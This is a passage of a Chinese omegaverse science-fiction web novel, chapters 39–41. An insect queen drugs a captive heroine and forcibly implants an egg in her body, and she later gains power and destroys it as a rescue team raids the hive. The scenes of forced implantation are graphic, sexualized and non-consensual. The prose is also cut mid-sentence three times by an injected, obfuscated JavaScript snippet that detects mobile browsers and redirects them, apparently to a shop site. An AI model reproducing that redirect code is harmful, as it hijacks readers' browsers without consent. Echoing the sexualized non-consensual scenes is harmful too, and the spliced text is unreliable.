随后,毫无预料的状况陡然发生。 王后当场晕厥,不久后又立刻陷入狂躁的发情期,在一次次不断安抚、标记妻子后,敏锐的帝王就意识到这类异星生物对Omega可能产生的影响。 本能的排斥,但却奇异地被引诱,然后被强迫发情。 隐隐察觉到肯恩可能危机的帝王便立刻下令封锁任何关于虫族的信息。 在对外公开的战役报道中,所有虫族的影像也皆被抹去,而报道的重心也被特意放在了每位成功带领军队大获全胜的Alpha身上。 自虫族攻打帝星以来,前线战士甚至后勤中,从未允许任何一位Omega的加入。 至于边境,也在帝国强有力的防守中,阻拦了虫族一次次的进犯。 幸运的是,至今为止虫族似乎也对帝国Omega们未产生过丝毫兴趣。 直到,它们成功捕获这位属于穆沉凛的Omega。 顶级Alpha的顶级Omega。 帝国Omega的生殖腔,与它一样拥有独特又相似的孕育能力,虫族的信息素…… 一个崭新的想法渐渐诞生在它脑海中。 或许,它可以尝试着…… 穆沉凛的身体有这么凉吗? 白皙纤细的脚腕被凹凸不平又黏糊的触角紧紧圈住,正试图强硬地掰开她的双腿。 嘶,好冷! 桑宁叙打了个冷颤,皮肤上潮湿粘稠的讨厌触感让她只想赶紧摆脱男人的束缚。 这人是洗了冷水澡没擦干净吗,为什么他身上湿哒哒的? “你先放开,我不舒服!” 鼻头泛红的女孩一边气恼地在空中使劲乱踢着双腿,一边不高兴地对着男人命令道。 他今天怎么这么不听话! 还有这人的眼睛……她怎么记得,每次标记时男人的眼睛好像不是这个样子的? 以及最重要的,他的信息素呢? 为什么腺体丝毫没有传来熟悉的缠绕和贴贴? …… “宁叙,让我进去!” “快,听话!” 虫母的锋利又尖锐的口器此时正小心翼翼地含着这颗融合了虫族最佳基因与信息素的胚胎,它的触角正箍在女孩的脚踝处,尝试不断用力的同时也焦急不堪地催促着。 被它强制从母体中取出的虫卵,如果没有及时放入生殖腔,很快就会因为缺乏营养和能量干瘪而死。 只是,它倒是没想到,这个Omega的力气比它想象中要大得多,竟然在穆沉凛的诱惑下还能巍然不动,甚至在某种程度上抗拒着□□。 若是在平时,它一定很有兴趣慢慢观摩探查她一番,但现在,可不是能由她乱来的情况! 考虑到不能随意毁坏母体,同时也需要桑宁叙自愿认同虫卵并与之产生链接,不然,贸然被送入生殖腔的虫卵只会遭到母体的排斥,更严重的情况,甚至虫卵有可能被女孩毫不留情的绞杀。 他们已经磨蹭的太久了,看着原本莹白色透亮虫卵中心所散发出的淡紫色荧光正随着时间的流逝一点一点减弱,而生殖舱中的女孩依然紧闭着双腿不肯分开,嘴里还嘟嘟囔囔着些什么,一丝阴霾与狠厉从它的中枢系统爆发。 等不及了,不等了。 更浓烈的毒素释放在生殖舱中,在浓雾弥漫中,女孩微蹙的眉心似是渐渐松开,表情也从全然的推拒变得沉静淡然起来。 终于在感受到她身体的柔软与放松后,卷着脚踝的触手几乎是迫不及待地强硬掰开双腿后快速向里探入,在女孩微弱呢喃的抗议声中,一颗被白膜粘液包裹着,异常水润冰冷又黏糊、泛着淡紫色荧光的虫卵在一根变化得如筷子那般粗细柔韧触手的护送下,被一点一点、小心翼翼却又不容抗拒地塞进一个不属于它的温暖巢穴。 将它融入一个全新的母体,等待它的生根发芽,从而创造未知的奇迹。 这是虫族最后的希望。 39. 第 39 章 “头儿,我们还要继续在这等多久?林威宇他们说不定已经……” “闭嘴!好的不灵坏的灵,嘴怎这欠儿。没听殿下的吩咐吗,咱们得留在这里接应他。” 年轻士兵的脑袋被长着一双细长狐狸眼的男人毫不留情地狠狠拍了一掌。 “去去去,上一边儿呆着去,别烦我。” 被孟赫抽完又不耐赶走的小士兵歪了歪嘴,可怜巴巴地捂着后脑勺,一幅习以为常的样子乖乖离开了飞船前舱。 他们已经在这里埋伏了近五天。 这支被太子殿下很早就派出,每每在战斗后循着雄虫退潮痕迹追寻的小队,是从嚣鹰战队中被特意划分出的,为摸清虫族巢穴的特殊探查队。 比起待在星舰上被动等候虫族的攻击,一向喜欢把主动权掌握在自己手中的的孟赫还是更偏向于主动出击。 叼着一只营养液空瓶的男人随手打开了前不久才收到的讯息,深棕色的狐狸眼兴味盎然地弯了弯。 他们的太子殿下这次倒是少见地焦躁不安呐…… 看来丢失的那位Omega太子妃,在殿下心中的位置不是一般的重要。 啧啧,他还以为这人只是随便又勉强地选了个不出彩的Omega应付差事呢。 作为殿下年少时期军事学院为数不多的亲密好友,长得肤白貌美、风流倜傥的男人顿时对这位还从未见过面的太子妃来了点兴趣。 不知道这个小可怜在见到恐怖又恶心的虫族之后,有没有被吓得晕过去呢? 搞不好他们倒霉的太子妃殿下,现在已经被开膛破肚,成为雄虫口下的盘中餐了。 等太子殿下迟迟赶到,发现自己的Omega命丧黄泉,那时的虫族又是否能担得起陛下的滔天怒火呢? 恶劣的男人笑着舔了舔嘴角,犬齿在夸张的笑容中若隐若现。 被那群恶心东西夺取至亲至爱之人的痛苦,也只有他深有体会。 日夜兼程成功完成两次定点跳跃之后,太子殿下终于带着大批人马赶到了孟赫先前发送的坐标位置。 “殿下,好久不见。” 被笑嘻嘻的男人突然一把从身后搂住,正在跟元宿分析着陆点的穆沉凛面不改色地一把将人从背后薅了下来。 “咳咳,孟队。” 元宿一脸不赞同地盯着这个在殿下面前向来没个正形的Alpha,面色不愉地开口提点。 “呦呦,元副官,别板着一张脸像个古板的小老头嘛。不认识的人还以为您都要七老八十,即将进棺了。来来来,给哥笑一个……” 不着调的男人嬉皮笑脸地跳到元宿面前,不顾元副官冷飕飕的眼神警告,直接上手点着他的嘴角两侧将皮肉提了起来。 顿时,一个难看又奇葩的僵硬笑容出现在元宿脸上。 “噗嗤,哈哈哈哈哈!你……哈哈哈哈哈,好丑啊,哈哈哈哈!” 在元宿迅速出手即将狠狠扇掉男人犯贱双手的前一秒,狡猾的男人早先预判出他的动作,此时已经灵活地跳开,一手搭在穆沉凛的肩上,洋洋得意地对着脸色越发难看的元宿调笑着晃了晃手指:“太慢了,元副官。这么久没见,你的身手怎么一点没见长进呢。” 知道这人一贯喜欢蹬鼻子上脸的元宿紧咬着后槽牙眼神凶残地朝他上下扫射了一番,然后又立即整理好表情像什么都没发生的样子,再次投入之前的分析中。 对付这种没皮没脸的家伙,最好的方法就是把他当空气。 “嘁,还是和以前一样没意思。” 像条柔软无骨白蛇一般的男人赖在聚精会神的穆沉凛身边,攀着男人的肩头一边正大光明地打量着总控室面板中的资料,一边暗戳戳地瞥着那个总是像块石头一样对他没反应的男人。 “咦,穆沉凛,你的信息素味道是不是……” 敏感的后颈被某人贴着狠狠吸了一口后,终于被男人惹到的太子殿下目光阴恻地扭过头来,在孟赫故意大惊小怪的搞怪嗓音中,忍无可忍地拎着衣领把他干脆甩到了地上。 “别乱闻。”太子殿下沉着嗓音警告他。 “呦,有秘密了哦,穆沉凛。”落地之前就已经摆出一个完美pose的孟赫并不在意男人的生气,反而依然我行我素,吊儿郎当地打趣道。 “别浪费时间,过来确认最有可能是哪颗星球。”没功夫搭理男人无聊的闲言碎语,太子殿下头也不回的对着他吩咐。 “喏,就这里。” 硬是凑到两人中间还故意扭着身体乱挤的男人在元宿臭着脸即将爆发前,眼疾手快地随便在地图上一指。 立刻被吸引注意的二人便没再纠结他的捣乱行为。 “你确定吗?我们没有从这颗星球探测出任何生命迹象的存在。” 看着这颗死气沉沉,压根就不像有生灵栖息的荒芜星球,元宿有些头疼地望了殿下一眼,希望他能赶紧把这个只会烦人的家伙赶出去。 “你爱信不信咯。”抱臂倚靠在元宿身上的孟赫心机地对着他的耳朵轻轻吹了口气,“呀呀呀,我们元副官怎么又脸红了,耳朵怎么也这么红,是害羞了吗……嗷呜!” 元宿面无表情地收回左脚,半个眼神也没分给正抱着腿一顿乱跳的孟赫,继续一本正经地低声询问着殿下。 “带队,我要亲自走一趟。” 看不出表情的太子殿下目光晦暗地扫视了一圈整个星系中都有可能成为虫穴的坐标,迅速记住位置后的男人摩挲着指腹的老茧,逼迫自己按捺住心中的焦躁。 不知道是不是受心理作用的影响,穆沉凛甚至觉得自己的腺体也因为焦虑而一阵一阵的发烫,体内不断翻滚的信息素仿佛在暗示着些什么。 宁叙……再坚持一下。 当飞船逐渐贴近那浓重到令人心惊胆寒的黑暗迷雾时,穆沉凛眯起眼睛望着不远处即将靠近的那颗没有一丝光亮、表面凹凸不平布满锋利骨刺的星球,地面上囤积着不少坑坑洼洼看不出颜色的浑浊水坑,面上出现一抹凝重神态的男人也在心里暗暗发誓。 我一定,很快就会找到你。 桑宁叙很不舒服。 女孩的脸色红得明显不正常,在她光裸的双腿身体最私密的地方,有什么东西在未经过主人同意的情况下就贸然闯入,不顾她的抗拒继续朝更深入的地方钻去。 够了、够了…… 我说,停下。 剧烈的抵抗在内心深处不断堆积叠加,女孩虽然仍然乖巧的沉睡着,然而她的身体却不像表面看上去那般平静,犹如火山喷发前最后的宁静时刻,在不惊扰敌人的情况下静悄悄地准备、围困,然后在它成功前放松的最后一刻,突兀地暴起绞杀。 随着身下的异物感越来越强烈,陷入混沌中的桑宁叙忽然觉得自己的意识也越来越清醒。 呼哧、呵哧——现在是什么情况? 太子殿下依然像刚才那样温柔地凝视着她,浓稠的黑色双眸中满是黏腻迫切的爱意与欲望,在男人目不转睛的视线中,她甚至觉得自己像是被喂了十斤白酒,浑身浸泡在滚滚岩浆中不断被灼烧侵蚀,在身体即将支撑不住散架前,又一股极度温柔又冰凉的气息从深处吹来,平静淡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17011496|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然地抹去精神中的无尽痛苦,为她送上独有的清冷与纯澈。 烧得明显不正常的女孩努力转动她那生锈的大脑,艰难地开始思考起来。 她记得她好像是被虫母抓走囚禁来着,现在正等着穆沉凛来救她。 嘶,好像还有一件事情…… 明明是和她有关的,但是她怎么记不起来了…… 到底是什么来着? 无神的双眼缓慢睁开,原本浅色漂亮的瞳孔现在像是被死亡前的灰白所笼罩,失去生机的双眸机械地转动,但它们的主人却依然什么也看不见。 即将到达宫腔的虫卵在触手的运送下十分顺利地通过狭窄的甬道,现在正十分努力地朝着一个紧闭的裂缝处向里钻去。 虽然它的形状也就和乒乓球一般大小,但若是想要顺利进入生殖腔,比正常帝国人某个部位大了整整一圈的虫卵也不得不走完那个流程。 在给予Omega极致欢愉的同时,狠狠撞开那个紧致的小口,然后顺理成章地埋入深处,理所应当地掠夺她身体中的一切养分,同时拆解并复刻每一个基因单位,将这具身体彻底变成培养“神嗣”的活体孵化器,从而诞生出下一代最强大的虫族主宰。 而现在,它们距离成功仅剩最后一步。 几乎是在飞船落地的一瞬间,这颗灰暗星球上的大地就像是有弹性的粗糙皮肤,在飞船重量的作用下轻轻跳动了几下。 深紫色的荧光沿着如树根那么粗一般的管状根系中一闪而过。 一切准备就绪后,孟赫终于有了点队长的正形,他打开手环调出了先前派出探查小分队的定位。 看着在地图上距离他们并不远的那个红色闪光点,孟赫大致估算了一下位置,随后便架起机枪和穆沉凛对视一眼,先一步领头朝前走去。 脚踩的地面过于柔软温热,十几号人屏息凝神、小心翼翼地跟着孟赫的步伐,一边对着四周的环境不断警惕观察,一边仔细又谨慎的踩实每一步。 空气中弥漫着一股腐殖质的古怪气味,黑色的薄雾虽然降低了能见度,但好在他们装备齐全,被防护服严密包裹的士兵们在探测灯的照射下顺利又快速地向前移动。 “殿下,您看。” 在元宿的示意中,穆沉凛来到一个漆黑无比、散发着阵阵热气但看不清水底的沼泽旁,白色的塑料容器此时只剩微微一个头顶露出,剩下的部位都已经悄无声息地迅速溶解在水潭中。 “不是普通的液体。”孟赫站在不远处对二人摇了摇头,“应该是强酸一类的溶解剂。” 强酸啊……太子殿下心里微微一动。 “走吧殿下。各位,都离那些水坑远点。”孟赫提高嗓音提醒道。 男人低头再次打开手环,那个闪亮光点的位置已经很久没有移动过,他其实也不确定手下的那帮兄弟到底是幸运地找到一处安全的避难所,又或是…… 但至少可以肯定,这里必定是虫族的老巢。 那只被他们侥幸成功贴上发射追踪器的雄虫,最后的落脚点就在这颗星球。 唯一的问题,大概就是不确定虫母是否也能如他们所愿,和其他归来的雄虫一样栖息在这里。 看在他拼命追踪虫巢这么多年的份上,老天,也是时候送给他个惊喜了吧…… 汹涌的恨意在细长的双眼中极速划过,孟赫的上半张脸隐在头盔中叫人看不清神态。 舌头一点一点舔过血红的嘴唇,露出森森亮白的牙齿,一抹凶狠又血煞的阴笑渐渐展开。 虫母…… 他们,就要来了…… 40. 第 40 章 “宁叙……宁宁。” “你看,这是我们的孩子……” “在这里,有我们的结合体。” 不断诉说着甜言蜜语的男人拉着桑宁叙的一只手轻轻放在她的小腹上,在女孩涣散无神的视线中,带着一抹甜腻又恶心的笑意俯身吻了吻那处。 “喜欢吗,宝贝?这是你的孩子。” 她的,孩子? 孩……子?! 似乎是为了印证她的猜想,钻进小腹内的那个东西也适时地动了动,简直就像一个真正的小婴儿淘气地踢着妈妈肚子。 对于任何一个渴望孕育新生的Omega来说,没有人能抵抗得了如此诱惑,更别提还是与她最喜爱Alpha的结晶。 触角不知何时已经退了出来,只留那颗黏黏腻腻的虫卵呆在里面。邪恶硕大的虫体正迫不及待的在她脑海中一遍又一遍设下精神暗示与指引。 承认它,认可它,把它当做她的孩子。 快!接纳它! 让它,真正成为她的后代! …… 唔,好吵啊。 耳边有谁在喋喋不休地絮叨着,因高热而停止运转的大脑更是被这愈演愈烈的噪音烦不胜烦,随着皮肤不断泛起深色的潮红与细密的鸡皮疙瘩,一阵极其尖锐的痛楚也在意识深处爆发。 桑宁叙只觉得头疼欲裂,脑中仿佛有一根沉重的铁锥在疯狂搅动。 与此同时,浑身的血液都剧烈沸腾起来,腺体中的信息素则逐渐凝聚成无数细密尖锐的无形冰针,在她急促喘息中自后颈以迅雷不及掩耳之势涌向全身,霸道地闯入每一根血管、每一处器官。 好痛…… 坚硬的骨骼似乎都快要无法承受信息素异变后这般骇人的压迫与穿透,即将分崩离析。 她不喜欢这个穆沉凛。 这个不听话、不受她掌控的穆沉凛。 这个未经她同意就擅自闯入的穆沉凛。 至于那个他们的孩子。 呵,她不会有孩子,更不会作为Omega给Alpha生孩子。 一道尖锐的戾气在心中划过,蠢蠢欲动的虫卵很快就感受到母体对它的排斥和怒意,在声势浩大的震动与呢喃声中,它仍然不死心地试图钻进那个紧闭的裂缝。 就差一点了…… 虫母不安地甩着尾巴,焦躁地等待着桑宁叙再一次被麻痹之后的放松与妥协。 熟悉的气体再次喷薄而出,白雾之中的女孩身影渐渐被覆盖、遮掩,而她刚刚还拧成麻花的眉心也随之被慢慢抚平,神情再次变得恬静与安然。 桑宁叙很小就意识到,很多事情,并不会按照她的意愿发生。 比如天生就什么气味都闻不到。 比如不顾爷爷奶奶的阻拦,不顾她的哭嚎,不顾母亲的怒火,说是终于寻找到真爱非要离婚的父亲。 比如离婚后很快就再婚,甚至重新怀孕生了弟弟的母亲。 比如被两个家庭同时抛弃的她,再比如,不等她考入大学就已经故去的爷爷奶奶。 她的前半生似乎一直在告别,还是被最亲的人单方面告别。 大学中,她也曾交到过一两个知心好友,只可惜,毕业后也因各自人生方向的不同渐渐淡去。 她又变成了一个人。 所以在莫名其妙的穿越后,她也能很快镇定,然后继续随波逐流地活下去。 对她而言,在哪个世界生存,都差不太多。 只是当她意识到,作为一个Omega,在发情期到来时,必不可少地需要某个Alpha的安抚和贯穿,说实话她是有点慌张的。 更别提,当Omega被Alpha永久标记后,需要共享余生的两个人。 这让她感到窒息、感到惊恐、感到害怕。 她早已习惯无依无靠、独来独往的生活,她不愿再和他人产生直接联系,甚至还是无法切断的生理联系。 于是她对成为Omega感到不满,对永久标记后被锁到某人身边感到不满,更对无法选择性别感到不满。 如果说上个世界里她没法自主选择很多事情,她认。 不过大哥,现在都穿越了,难道她还是只能像以前那样,畏畏缩缩地接受生命给予的一切吗? 她不要。 她不想只能被迫隐忍着接受自己不喜欢的事物,她不想属于未来的可能被轻而易举地斩断,她不想…… 不想连抗争都懒得抗争,就随便放弃,然后在命运的安排下落寞地飘向彼岸,一遍遍抱怨上天对自己的不公。 她想要掌握主动权,她想要做自己喜欢的事成为自己想成为的人,她渴望强大,渴望站在顶端自由选择未来,甚至…… 甚至渴望获得那份掌控。 能主宰一切的最高权力。 同时,她也无比渴望…… 侵占……他。 要侵占一个顶级Alpha,除了成为他的命定之番顶级Omega以外,她也可以…… 凌驾于他之上,成为另一个让他无法抵抗的顶级Alpha。 Alpha和Alpha,在极致的压制与占有中互相标记,在腺体上烙下属于彼此的齿痕,然后共享一切。 不存在高低、上下、压制与被压制、保护与被保护。 与其等待太子殿下低下高贵的头颅纵容她为他带上项圈,成为她唯一的守护者,她更期待在万众瞩目之中走上那座神坛与高台,在所有人的倾慕与认可中,成为能平等站在他身旁的那个人。 穆沉凛,你守护帝国,我来守护你。 悠远沉寂的冰绿色湖底在厚厚冰层的覆盖中布满着细细密密的白沙、卵石与数不清的奇异矿物,混合着沙土气味的清冷与腥咸味道逐渐翻涌,在不断滚动与破碎中融入一丝若有若无的酸。 最底层气泡密集的冰块中,绝对光滑如丝绸的透明冰面渐渐反射出其中愈加深邃幽暗的钴蓝,随着颜色一点点加强,炫目的蓝混在绿色的湖底中交相辉映,一道又一道深刻的裂缝在冰面不断扩张,直至夸张到仿佛即将爆破。 雪和风的味道逐渐消逝,一直以来完全精致又冷凝的冰湖仿佛是一段被冻结的流淌时光,充斥着孤独与沉默的停滞感,牢牢封锁住一切属于她的古老气息。 一颗已经失去几十万年的古老星球,被冰封的所有生命,包含着其无法预估的强大能量。 突然,在这片久无人烟的静默封印之地,一滴无色的冰透液体自空中滴下,落入昏暗的湖底,坠落在那块无法溶解的冰面之上。 喀拉—— 有什么东西似是从内部爆破开来,随即,更大的震动与响声回荡在这片天地,不断快速崩裂的厚重冰层,短暂高频却能刺痛一切感官的神经噪音,灼烧与溶解,腐蚀与融化,尖锐纯粹的能量在水中暴走,一块又一块透彻坚硬的冰墙迅速被撕裂,汹涌澎湃的淡绿色湖水泛起接连不断的惊涛骇浪,以毁灭一切般的雄伟姿态奔涌向前。 这里不再是被冻结后的美好与宁静,极度冷冽的清澈与空无的纯净淡甜交织在一起,很快就被绝对腥冷浑浊,却带着海盐般湿咸味道的湖水彻底冲散,留下让人只觉苦涩的自然味道。 女孩的身体从极致高温忽然骤降至极度低温,在冷热交替间,腹中的虫卵像是提前感应到了什么,竟然自己滚动着滑出了她的身体。 怎么回事? 看着颜色已然暗淡接近于无的虫卵,即将失控的虫母暴躁地拍打着肉囊囊的尾部,一阵仿佛能刺痛脑膜的锐利高频虫鸣响起,山崩地裂,星球摇摆,所有雄虫自地下跃出,瞬时拦住了地上所有人的去路。 “注意防守,各单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17019181|190985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位准备战斗。” “全体小心!” “江止,请求增员!” 面对雄虫凝视的孟赫握紧手中的能量枪,在双方紧张的对峙中,当那硕大坚硬似铁钳一般的口器即将狠狠刺入男人头部的前一秒,孟赫早已看准时机,双腿用力完成了一个漂亮的后空翻,利落地躲开了袭击。 趁着那家伙笨重粗壮的触角在空中挥舞着即将再次攻来之际,亮黄色的子弹如流星一般精准击中那条不断开合的巨大裂缝,在雄虫难捱可怖的哀嚎中,男人硝烟味的信息素也毫不犹豫地猛烈释放,凶残至极地摧毁它的精神中枢,随后剿灭它庞大的身躯。 “殿下小心!” “殿下没事吧!” 在虫族出现的前一秒,穆沉凛就已经感觉到腺体的异常和信息素的不对劲。 一股强大到让他都莫名心惊的能量在腺体中爆发,冰醋酸却并没有如他所期望的那般压制住对方,反而任由自己融入这股能量,在急速又可怕的喘息中,穆沉凛渐渐闻到了一股极为熟悉的味道。 冰冻湖水的气味不再像之前那般清冷甘甜,没有任何攻击性,每每只是安稳地与冰醋酸缠绕在一起,为他消解身体那股可怕的难耐欲望。 现在…… 感应到什么的穆沉凛双眼猩红,在所有人都忙着战斗时,他飞快撕掉信息素阻隔贴,在暴虐冰醋酸出现的同一时间,原本还站在中心的身影也顿时消失不见。 咦,她在哪? 终于醒来的桑宁叙迷糊地看了周围一圈,她的体温已恢复正常,精神也比之前好了许多。一股又一股强悍的能量游走在体内,头脑异常明晰,身体轻盈干净却无比坚韧,灵魂被淬炼,整个人仿佛如同彻底脱胎换骨一般,自信、强大。 突然之间,脚腕处的皮肤传来一阵诡异的触感,仿佛有什么柔软的物体不小心碰到那里后,不受控制地抽搐着蠕动了几下。 女孩低头看去,早已失去荧光此时正奄奄一息,被浑浊薄膜与黏液包裹着的半透明虫卵正躺在她的脚边,若是仔细分辨甚至能勉强看清其中未发育的一截幼小虫体。它似乎敏锐感觉到了她嫌恶的目光,此时正颤颤巍巍又无比害怕的试图向远处滚去,好赶紧逃离她的视线。 次奥! 记忆迅速复苏,她立即回忆起之前晕厥中身体古怪的不适感,当时那种心惊肉跳且挥之不去的排斥情绪再度重现,强忍着反胃与呕吐欲望,待她定睛发现地面上蒸发后的一条条浑浊水痕时,桑宁叙还有什么不明白的。 这个狗东西! 居然敢肆无忌惮地把这令人作呕的虫卵强行放进她的身体!里! 光是想想自己的生殖腔差点被这个怪物占据,桑宁叙就已经怒火中烧到恨不得一脚把这颗卵狠狠碾碎。 怎么敢,怎么敢的啊! 就因为她是一个无法用信息素攻击它的Omega? 就因为她是一个拥有生殖腔的Omega? 就因为它想重写虫族基因? 就因为,她是穆沉凛的Omega? 该死,该死该死该死! 这帮恶心的东西,既然宇宙亲自允定其种族的灭亡,那它就该顺应宇宙,顺应造物主,给她好好待在自己的巢穴中,不要跑出来乱晃,更不许未经他人同意,随便侵入母体! 该死,虫族都该死。 冷冽纯粹又强大的信息素围绕在她的周围,桑宁叙缓缓起身,冰冷的双眸毫无感情的蔑视了一眼仍躺在原地的那颗虫卵,挥手之间,还带有生命气息的幼虫已经被封在坚固的冰层中,在虫母疯狂地怒吼中,女孩轻轻抬手,对着它隔空做出一个握拳的动作。 与此同时,如冰球一般的虫卵霎时间彻底粉碎,化作纷纷扬扬的冰渣落在柔软温暖的地面,又立即被融化成细小的水珠,下一秒在空中蒸发。 41. 第 41 章 极致尖锐到整个星球仿佛都在颤动的嘶鸣声在耳边响起,失去穆沉凛保护的众人只觉得大脑仿佛要被利器刺穿,在一个接着一个倒下之前,已被坐在飞行器上释放太子信息素的江止迅速救下。 “殿下,殿下不见了!” “江止,去找殿下!” 心系太子迟迟不肯离去的元宿焦急地对着江止大吼道。 不能再等了,孟赫利落地一个狠劈将晕倒在怀中的元宿火速驾到飞船上后回头看了一眼已经被雄虫完全占据的星球表面再无一落脚处,他立即关闭舱门和江止对视一眼点点头,飞行器也朝着星舰的方向越飞越远。 “贱人!贱人!” 恶毒的辱骂一声声回荡在脑海中,桑宁叙侧身堪堪避开那条向她扑来的粗壮触角,原本用来储存她的生殖腔则在触角的凶残拍打下变成了一块可怜又黏腻的破袋。 “去死,去死!我要你陪葬!” 泣血的哀嚎在脑中响起,桑宁叙依然面无表情,甚至连眉头都懒得皱一下,只是在虫母疯狂扭曲旋转□□试图喷洒出更多水雾的同时,女孩的身影已经消失在原地。 她其实很讨厌别人一声招呼都不打,就能在自己的大脑内部来去自如。 不论是画面也好,语言也罢,又或是私自修改植入记忆,毕竟一个人的精神领域是除身体外最私密的地方。就连穆沉凛,也只有在她极乐之时,在信息素的交融下才能短暂与她共感。 但这只死虫子…… 最开始擅自闯入她的梦境,然后翻阅篡改她的记忆,最后甚至妄图把那颗恶心的虫卵放入她的身体。 要不是那玩意儿太过于恶心,她连看都不想看一眼,她倒是不介意使劲折磨一番后再给予它最极致痛苦的死法。 只要想到一个外星生物的幼崽曾短暂在自己身体内部停留,还差点就让它得逞钻入私密的生殖腔,试图使她替代成为孵化壳,在赋予虫族新生的同时被吸干成为它的养分。 很好,每一条都狠狠踩在她的底线上作死试探。 不就因为她是Omega吗? 不就因为她是穆沉凛的Omega吗? 如果她不是Omega,如果她的信息素对虫族具有攻击性,如果她不受它的影响,如果她能像穆沉凛那样是个顶级Alpha。 它又如何敢这样对待她呢? 无非是认为她太小太弱,无非是认为她可以被随意践踏玩弄,无非是认为她没有勇气更没有能力反抗。 既然如此,既然它如此轻易地就为她下好定义,强迫她接受一切,强迫她按照它的要求和命令孵化虫卵,那么…… 如果她不是Omega,如果她没有生殖腔,如果她的信息素像穆沉凛那样厉害。 是不是,它就不敢再这样对她了呢? 迷雾终散尽,原本巨大的血肉内室被彻底冰封,只剩那最顶端的透明浑浊母体依然不停地躁动着,触角疯狂地乱甩,短小的肢解在空中虚无地抓挠。 已经被无形的冰锥牢牢钉在内壁中的虫母终于意识到自己处境的危险,它愤怒地晃动着庞大的身躯,恶狠狠地盯着那个赤脚向自己走来的女子。 桑宁叙什么都听不见。 没有亵渎的黑暗低语,没有难听恐怖的非人鸣叫,没有令人害怕心惊的幻象,她的周围仿佛被彻底与现实屏蔽开来,以她为中心形成了一个微小、无形又纯净的领域。 没有人能够肆意侵入她的意识,获取她的思想。 她的世界静默到可怕,当无数迸发的虫族灵能如回声般向她波及时,却只犹如一个小巧的碎石被投入深渊,丝毫听不见任何回响。 同样,所有触及到她领域的能量像是被烈焰灼烧般腐蚀、净化、而后消散,不留一丝痕迹,她也不受任何影响。 “怎么可能?这……这不可能!” “你……你居然……” 桑宁叙并没有搭理它这些没头没脑的话,来自身体的变化当然只有她最清楚。 当她遵从内心后,那股一直以来被完全封锁的霸道能量便迅速从腺体深处爆发,骇人的巨大能量使得腺体如即将被撑爆一般鼓胀难忍,在肉眼不察之时,原本秀气可爱的Omega腺体迅速增大,比起后颈传来的钻心疼痛,小腹时不时的抽疼也算不了什么。抵着舌尖的犬齿一点一点变得更为尖锐,仿佛轻轻一碰,就能划破娇嫩的软肉。 桑宁叙其实现在非常难受,身体几乎支撑不住这股爆炸般强悍的能量,只得放任它们沿着神经脉络疯狂游走,与此同时,她埋在心中的渴意不断加深,信息素堵在腺体却迟迟得不到安抚和疏导,在忍无可忍的狂躁与痛苦中,她几近失神。 “……宁叙。” 如风声的低叹在脑海中回荡,仅仅只是一秒,却让身处干渴沙漠中的她尝到了几滴清泉。 正当她想仔细侧耳倾听时,一股又一股的腐蚀粘液突然朝她疯狂喷射,强压之下似是恨不得直接将她冲击致死。 回过神来的女孩只是淡淡向后退了一步,环绕在浓郁信息素之中的她拥有最坚固的盾牌,在水柱即将达到面前时,就已经结成冰柱冻在空中。 又一次偷袭失败的虫母全然失去耐心,它不再收敛,唤起包含了整个虫群意志的灵能尖哮,星球表面的骨刺和水坑在一瞬间崩塌碎裂,所有雄虫在虫母的指挥下激烈震翅、咆哮,大地在震动,虫族在哄鸣,其他任何声音瞬间被掩盖、吞噬,在精神中直接炸响的异种攻击传达到每个拥有思维生物的脑海中,以湮灭宇宙空间之势对面前这个灵魂发起直接攻击。 尖啸似是永无止境,每一道超越物理介质的虫鸣汇聚在一起,组成一曲毁灭序章,在天崩地裂的压迫中毁坏人类的每一处骨骼、血脉。 “我有没有说过。” “你真的很吵。” 浅尝辄止的渴望被迫打断,男人熟悉的低叹早已消散于难听刺耳的虫鸣,信息素和腺体在无法停歇的高热中不断叫嚣着向外追逐,犬齿和下牙不受控地激烈摩擦,桑宁叙觉得她即将快要忍不住失控。 忍不住把人抓到面前,然后狠狠咬下,听着他痛苦却美妙地粗喘,带给他极致的快感。 只有她才能做到这一点。 但现在,她被拦截了。 她被一只不知天高地厚和死活的臭虫子拦住了去路。 不可饶恕,不可原谅。 陷入高热和情潮中的女孩闭上双眼,身体的剧痛此时对她而言已经不再重要,她现在唯一想做的,就是解决这个不停打断她的蠢货,然后以最快的速度找到那个男人,把他揪上她的床。 结合、标记、咬他。 这是她迫切要做的事情。 双眼无神的女孩轻轻偏过一点头,神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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守在腔口的雄虫数量几乎是来时路上的五倍,看着密密麻麻叠在一起不停摩擦甲壳的雄虫,穆沉凛厌恶地后退了几步。 门口的地面早已被它们口中和身上的粘液占领,泛滥成灾。 与其说那是一扇门,其实更像一张缓慢律动的腔口。四周满是感应纤毛和倒刺,在一呼一吸之间有节奏的蠕动,无数浑浊的粘液自墙壁蜿蜒流淌,隐约可窥见其内部流动的深紫色荧光。 